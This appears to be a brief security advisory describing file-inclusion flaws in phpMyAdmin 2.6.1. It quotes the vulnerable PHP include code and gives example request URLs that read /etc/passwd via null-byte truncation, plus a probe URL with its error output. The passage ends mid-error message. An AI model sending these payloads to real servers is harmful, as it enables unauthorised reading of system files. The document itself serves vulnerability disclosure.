- --- 0.Description ---
phpMyAdmin 2.6.1 is a tool written in PHP intended to
handle the administration of MySQL over the Web.
Currently it can create and drop databases,
create/drop/alter tables, delete/edit/add fields,
execute any SQL statement, manage keys on fields.

- --- 1. Remote file inclusion ---

1.0

This bug exist in css/phpmyadmin.css.php. You can
include files. Error exist in

Code:
- ------
$tmp_file = $GLOBALS['cfg']['ThemePath'] . '/' .
$theme . '/css/theme_right.css.php';
if (@file_exists($tmp_file)) {
include($tmp_file);
} // end of include theme_right.css.php
- ------

And now you can get files.

For exemple:

http://[HOST]/[DIR]/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc/
passwd%00&theme=passwd%00
http://[HOST]/[DIR]/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&
theme=passwd%00
etc.

1.1
Or next include is in libraries/database_interface.lib.php

Code:

- ---
18# require_once('./libraries/dbi/' . $cfg['Server']['extension'] .
'.dbi.lib.php');
- ---

For exemple:

http://[HOST]/[DIR]/libraries/database_interface.lib.php?cfg[Server][ext
ension]=cXIb8O3

Error message :
- ---------------
Warning: main(./libraries/dbi/cXIb8O3.dbi.lib.php)
[function.main]: failed to open stream: No such file or
directory in
/www/phpMyAdmin-2.6.1/libraries/database_interface.lib.php
on line 18

Fatal error: main() [function.require]: Failed opening
